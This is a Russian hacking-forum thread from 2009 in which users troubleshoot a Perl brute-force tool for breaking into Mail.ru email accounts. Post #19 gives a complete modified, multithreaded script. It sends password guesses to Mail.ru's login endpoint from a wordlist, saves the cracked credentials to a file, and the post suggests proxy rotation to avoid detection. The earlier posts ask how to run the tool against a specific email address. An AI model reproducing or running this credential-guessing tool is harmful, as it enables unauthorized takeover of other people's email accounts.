ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 06.03.2009, 10:36
Аватар для Timur111
Timur111
Новичок
Регистрация: 20.04.2008
Сообщений: 8
Провел на форуме:
174434

Репутация: 0
По умолчанию

как правильно настроить брут по списку паролей на один E-mail?
Настраивал вроде верно но выбивает сразу после запуска..
Кто поможет,в асю стучите-413190144
заплачу 1$ кто поможет разобраться)

Последний раз редактировалось Timur111; 06.03.2009 в 10:50..
 
Ответить с цитированием

  #12  
Старый 06.03.2009, 10:48
Аватар для Sharky
Sharky
Познавший АНТИЧАТ
Регистрация: 01.05.2006
Сообщений: 1,021
Провел на форуме:
3424739

Репутация: 921


Отправить сообщение для Sharky с помощью ICQ
По умолчанию

### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
 
Ответить с цитированием

  #13  
Старый 08.03.2009, 18:28
Аватар для B1t.exe
B1t.exe
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме:
1977708

Репутация: 208


По умолчанию

Цитата:
C:\brute>mail.pl

################################################## #################
### Sharky Mail.ru brute ###
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads] ###
################################################## #################
[+] Loading passwords...
[+] Loaded 0 passwords
[+] Start Brute

Thread 1 terminated abnormally: Undefined subroutine &main::0 called at C:\brute
\mail.pl line 42.

C:\brute>
в чем проблема ? не могу понять !
переименовал файл pass на passwords, ну все равно такая ошибля.
 
Ответить с цитированием

  #14  
Старый 09.03.2009, 18:04
Аватар для RegStuff
RegStuff
Banned
Регистрация: 19.02.2009
Сообщений: 5
Провел на форуме:
76627

Репутация: 3
По умолчанию

Шарке, я вот включил:
Код:
use warnings;
use diagnostics;
и у меня твой релизенг не запустился
 
Ответить с цитированием

  #15  
Старый 09.03.2009, 21:29
Аватар для De-visible
De-visible
Banned
Регистрация: 06.01.2008
Сообщений: 904
Провел на форуме:
4037638

Репутация: 1821


Отправить сообщение для De-visible с помощью ICQ
По умолчанию

Ну по сравнению с реализацией логина, этот брут просто отстой.
 
Ответить с цитированием

  #16  
Старый 10.03.2009, 00:27
Аватар для nerezus
nerezus
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435

Репутация: 2290


Отправить сообщение для nerezus с помощью ICQ
По умолчанию

Цитата:
Шарке, я вот включил:
use warnings;
use diagnostics;
и у меня твой релизенг не запустился
"Вот я твой код поменял, а он работать перестал. " ггг )))

Кто будет наезжать на остальных - побаню.
 
Ответить с цитированием

  #17  
Старый 10.03.2009, 12:12
Аватар для B1t.exe
B1t.exe
Постоянный
Регистрация: 06.11.2006
Сообщений: 865
Провел на форуме:
1977708

Репутация: 208


По умолчанию

а на мой вопрос пока нет решений ?
 
Ответить с цитированием

  #18  
Старый 15.04.2009, 22:26
Аватар для Tombik
Tombik
Banned
Регистрация: 21.12.2008
Сообщений: 413
Провел на форуме:
4991305

Репутация: 352
По умолчанию

ребят, разберитесь кто-то, со второй частью скрипта "Одно мыло на лист паролей".... у ТС нет времени на это.
 
Ответить с цитированием

  #19  
Старый 16.04.2009, 05:00
Аватар для ghostwizard
ghostwizard
Участник форума
Регистрация: 04.12.2005
Сообщений: 202
Провел на форуме:
414834

Репутация: 99
По умолчанию

Модифицированная версия.
Изменено:
1. Нет ошибки неправильного завершения нити.
2. Вместо процентов теперь плюсики в одну строку. Количество их можно изменить.

Пользуйтесь. Неплохой брут. Как раз узнал про реальное использование нитей в перле.

З.Ы. Форматирование кода ужасное в ачат-редакторе =Q

Есть вариант добавить прокси-поддержку распределенную по нитям. Т.е для каждой нити свой прокси или рандомный по списку, сколько фантазии хватит

Код:
#!/usr/bin/perl -w    

use strict;    
use IO::Socket;  
use threads qw(stringify); 
use threads::shared;  
use POSIX;  ########################################################    
my @acc : shared;  
my $i : shared;  
my $total : shared;  
my $k : shared; 
$| = 1; 
print "
######################################################################  
###                 Sharky Mail.ru brute                           ###  
### Usage mail.pl [email] [passwords.txt] [good.txt] [threads]     ###
### edited by gh0stwizard                                         ###  
######################################################################  
";
########################################################  
my $email = shift;   
my $pass =  shift;  
my $good =  shift;   
my $threads = shift;   
my $timeout = '5';            #Таймаут  
my $hostname = "swa.mail.ru";    
my $port     = '80';  
my ( $mail, $server ) = split( /@/, $email );     
my $nn = "\r\n";  
my $maxplus = 62;     #Количество выводимых плюсов  
########################################################  
my ($passw, $percent);    
########################################################    
print "[+] Loading passwords... \n";   
open( ACS, "<$pass" );   
@acc  = &acc();    
my $size = scalar @acc;    
print "[+] Loaded $size passwords \n";  
print "[+] Start Brute\n\n[";    

my (@trl);    
&threads();  

sub threads {      
 for ( 0 .. $threads )  {          
  $trl[$_] = threads->create( {'void' => 1}, \&check, $_ );          
  $trl[$_]->join();      
  }      
 print "\n[*] Bruteforce has been completed.\n";  
}   

sub check {        
  while (@acc) {            
     { lock(@acc); $passw = shift @acc; }
     my $sock = new IO::Socket::INET(
                PeerAddr  => $hostname,
                PeerPort  => $port, 
                PeerProto => 'tcp',
                TimeOut   => $timeout
            );
            if ( !$sock ) { 
               { lock($i); $i++; }
            }
            else {
                my $data =
                  "action1=Login&Login=$mail&Domain=$server&Password=$passw";
                my $re =
                   "POST /cgi-bin/auth HTTP/1.0"
                   . $nn
                   . "Host: swa.mail.ru"
                   . $nn
                   . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7"
                  . $nn
                  . "Content-type: application/x-www-form-urlencoded"
                  . $nn
                  . "Cache-Control: no-cache"
                  . $nn
                  . "Content-length: "
                  . length($data)
                  . $nn
                  . "Connection: Keep-Alive"
                  . $nn
                  . $nn;
                print $sock $re;
                print $sock $data;
                sysread( $sock, my $answ, 666 );
                close $sock;
                  if ( $answ =~ /Location/ ) {
                    { lock($total); $total++; } 
                   print "]\n[*] $email:$passw - [OK]";
                    open( FILE, ">>$good" );
                    print FILE "$email:$passw\n";
                    close(FILE);
                  print "\n[*] Bruteforce has been completed.\n";
                  exit;
               }
                  { lock($i); $i++; }
          }
          $percent = sprintf("%.6f", ( $i / $size )) * $maxplus;
          my $sh = sprintf("%.6f", (1 / $size)) * $maxplus;
          my $zer = sprintf("%.6f", (1 / $size));
                   if (($percent == $sh) or ($percent == $zer)) {
              print "+"; $k++;
           }
          elsif ( (floor($percent) - 1) == $k ) {
              print "+"; $k++;
          }
          elsif ((floor($percent) -$k) >=2 and ($maxplus>20)) {
              my $def = (floor($percent)) - $k;
              $k += $def;
              print "+"x$def;
          }
          if ($percent == $maxplus) { print "] 100%\r"; }
      }
}

sub acc {
        my (@mas);
        while (<ACS>) {
          push @mas, $_;
        }
        chomp @mas;
        return @mas;
    }
#with love by Sharky

Последний раз редактировалось ghostwizard; 16.04.2009 в 05:03..
 
Ответить с цитированием

  #20  
Старый 16.04.2009, 17:48
Аватар для Tombik
Tombik
Banned
Регистрация: 21.12.2008
Сообщений: 413
Провел на форуме:
4991305

Репутация: 352
По умолчанию

ghostwizard, мои слабые познания, не позволяют разобраться в чём ошибка )))), но явно, чё-то не то...

Последний раз редактировалось Tombik; 17.04.2009 в 01:29..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Yet another Mail.ru bruteforce [Perl] Kaimi E-Mail 7 09.02.2009 21:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ